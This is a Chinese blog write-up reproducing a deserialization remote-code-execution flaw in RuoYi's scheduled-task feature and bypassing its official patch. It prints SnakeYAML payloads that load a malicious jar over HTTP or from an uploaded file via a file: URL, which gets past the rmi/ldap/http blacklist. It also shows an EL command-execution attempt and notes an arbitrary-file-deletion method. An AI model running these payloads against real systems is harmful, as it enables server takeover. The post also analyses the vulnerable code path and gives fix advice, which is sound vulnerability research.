若依反序列漏洞复现及其修复绕过

前言

学完了Java反序列化,在CNVD上找了个有Java反序列化漏洞的系统练练手,叫若依后台管理系统,在github上的star数也不少。我是挺喜欢这个名字的,你若不离不弃、我必生死相依,这个寓意可是作者的官方解读,不是我瞎编的。😆

信息收集

主要是看看有没有代码审计的文章,搜了下发现有一篇简单审计这个反序列化漏洞的文章,在官网上还十分良心的给出了历史漏洞。在历史漏洞里给出了Poc和修复方案。

可以初步得知漏洞出现在定时任务的SysJobController控制器里,三个POC的前两个是JNDI注入,后一个是yaml反序列化。

漏洞复现

漏洞复现这里使用yaml反序列化的payload来复现。在github上下载yaml-payload并编译打包成jar包,并使用python的SimpleHTTPServer模块起一个HTTP服务用来下载恶意jar包。然后,在后台系统监控的定时任务里加上以下一条任务。

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]')

然后,IDEA里在Runtimeexec方法下个断点,并在相应定时任务的更多操作里执行一次任务。在调用栈里可看到,项目里的方法调用有四个,其他两块的调用栈分别是quartz任务调度框架和snakeyaml的栈。

跟进AbstractQuartzJobexecute方法,这个方法是由quartz任务调度框架调用的,由quartz的文档可知每个实现Job接口的类为一个任务,这个类还需重写execute方法来实现任务的执行内容。在这个execute方法里,它实例化了一个SysJob类,并调用了doExecute方法。调用的doExecute方法是子类QuartzDisallowConcurrentExecution,功能只是再继续调用JobInvokeUtilinvokeMethod静态方法。

继续跟进到invokeMethod方法,才有一些实质性的逻辑代码。开头调用目标、类名、方法名和方法参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);

if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}

需要注意的是获取方法参数这里,只能获取Stringboolenlongdoubleint类型的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static List<Object[]> getMethodParams(String invokeTarget)
{
String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
if (StringUtils.isEmpty(methodStr))
{
return null;
}
String[] methodParams = methodStr.split(",");
List<Object[]> classs = new LinkedList<>();
for (int i = 0; i < methodParams.length; i++)
{
String str = StringUtils.trimToEmpty(methodParams[i]);
// String字符串类型,包含'
if (StringUtils.contains(str, "'"))
{
classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
}
// boolean布尔类型,等于true或者false
else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
...
// long长整形,包含L
else if (StringUtils.containsIgnoreCase(str, "L"))
...
// double浮点类型,包含D
else if (StringUtils.containsIgnoreCase(str, "D"))
...
// 其他类型归类为整形
else
...
}
return classs;
}

后续正常类名会进入else代码体,通过newInstance方法获得传入类名的无参构造方法实例化的对象,然后使用对象、方法名和方法参数调用另一个重载的invokeMethod方法。这个重载的invokeMethod方法就是实现反射调用方法的功能,这里就是不细说了。至于POC中JNDI注入,上一篇文章有分析,这里也不细说了,而yaml怎么实现的反序列化,本文也不展开,在后续的文章中再仔细分析。

通过以上的调用栈的分析,可得出以下构造若依反序列化漏洞payload的条件:

  • 入口类只可进行一次反射调用
  • 入口类需可被实例化,并具有默认的无参构造方法
  • 调用的类方法需为无参或参数为Stringboolenlongdoubleint几种类型

过滤不严

回到官网,作者给出的修复方案是过滤rmildaphttp字符串,对应的是作者给出的三个POC。那还有其他协议可以实现反序列化吗?答案是肯定的, 虽然官方文档好像没有给出URL类支持的协议,但可以使用以下验证支持那种协议。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) {
String host = "www.baidu.com";
String file = "/index.html";

String[] schames = {"http", "https", "ftp", "mailto", "telnet", "file", "ldap", "gopher",
"jdbc", "rmi", "jndi", "jar", "doc", "netdoc", "nfs", "verbatim", "finger", "daytime",
"systemresource", "webService", "redis", "zookeeper", "rest", "thrift", "dubbo"};
for (int i = 0; i < schames.length; i++) {
try {
URL url = new URL(schames[i], host, file);
System.out.println("滋瓷 " + schames[i] + " 协议");
} catch (MalformedURLException e) {
System.out.println("不滋瓷 " + schames[i] + " 协议");
}
}
}

在测试结果中一眼就能看到file协议和ftp协议,还有个jar协议也是可以使用的,但还是需要借助其他协议才能下载jar包,就没必要多此一举了。

ftp协议的漏洞利用和http协议的其实差不多,把POC中的协议改一改,ftp服务可以使用python的pyftpdlib模块搭一个。

file协议的利用需要把jar包上传到网站上,通知公告模块的编辑器可以上传文件,虽然有文件后缀的白名单过滤,但并不影响URL类加载jar包。不过上传文件返回的路径并不是网站上物理路径,在spring的配置文件application.yml中可以看到windows的默认路径为D:/ruoyi/uploadPath,linux的默认路径为/home/ruoyi/uploadPath

所以物理路径是D:/ruoyi/uploadPath/upload/2021/09/03/124841a8-6ae4-4888-ba7b-d7ac786cdd6f.txt,最后的payload如下。

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:/D:/ruoyi/uploadPath/upload/2021/09/03/124841a8-6ae4-4888-ba7b-d7ac786cdd6f.txt"]]]]')

一些其他尝试

除了过滤不严,还想到了两种构造payload的方法,分别为从依赖包和项目中寻找合适的类和方法。由于系统框架是Spring的,一开始想到的是用SpEL表达式来实现命令执行,但是后面试了下才知道parseExpression方法生成表达式对象后,这个对象还得调用getValue方法才会解析这个表达式。后面陆陆续续看了些质料,发现EL表达式似乎符合这个系统的场景。简单的介绍下EL表达式,他是一种可在JSP和JSPX中使用的语言,可在脚本中获取参数、执行运算、获取对象和调用函数等。

在Java代码中可以使用ELProcessor对象的eval解析EL表达式,经过简单构造可得出payload如下:

1
javax.el.ELProcessor.eval('"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder[\'(java.lang.String[])\']([\'cmd\',\'/c\',\'calc\']).start()")')

然而一跑起来就抛出了ELException异常,调试跟到反射调用的地方发现EL表达式只剩下"".getClass(

最后回去找,大意了。在StringUtils工具类的substringBetween方法,也就是他获取参数的方法中发现它匹配的右括号是传入payload中的第一个,也就是payload中调用的方法不能出现左括号,否则无法获取到所有的参数。

除了依赖包中的类,还找了一圈项目中的类,发现一个yaml的工具类YamlUtilloadYaml方法可能合适,于是又简单的构造了个payload:

1
com.ruoyi.common.utils.YamlUtil.loadYaml('D:/ruoyi/uploadPath/upload/2021/09/03/124841a8-6ae4-4888-ba7b-d7ac786cdd6f.txt')

这次则是抛出了FileNotFoundException,因为getResourceAsStream方法无法获取ClassPath外的文件,实在是学艺不精。

后续在项目中还发现了另一个可利用的点,FileUtils工具类的deleteFile方法可以实现任意文件删除,但本文的目标是getshell,而且利用方法也很简单,这里就不再具述。

修复建议

借着漏洞条例的颁布,这里献上本人的修复建议。其实在我上一个审计的系统中也是有定时任务功能的,也是通过反射的方式调用任务的实现代码,但是用户只能传入实现这个方法的类名,系统实例化这个类并调用特定的方法。

在这个系统中当然可以使用黑白名单的方式对可实例化的类进行过滤,但这样似乎修复得不彻底。如果使用调用特定方法的方式执行任务,只需设置一个比较特殊的方法名,这个漏洞就很难利用起来了,实际上这个系统用到的quartz任务调度框架就是使用类似的方式,作为调度任务的类续实现quartz的Job接口,并重写execute方法。

当然,以上只是个人对这个漏洞修复的小小看法,仅供参考。

后记

本来想找到更高大上的payload,最后还只是找到过滤不严的问题,总的来说还是学艺不精。不过了解到各种表达式还是颇有收获,最后各位师傅若想到其他payload,望不吝赐教。

参考

https://www.cnblogs.com/r00tuser/p/14693462.html

https://doc.ruoyi.vip/ruoyi/document/kslj.html#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E

https://blog.csdn.net/weixin_41725792/article/details/109818161

https://zhuanlan.zhihu.com/p/183902092

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×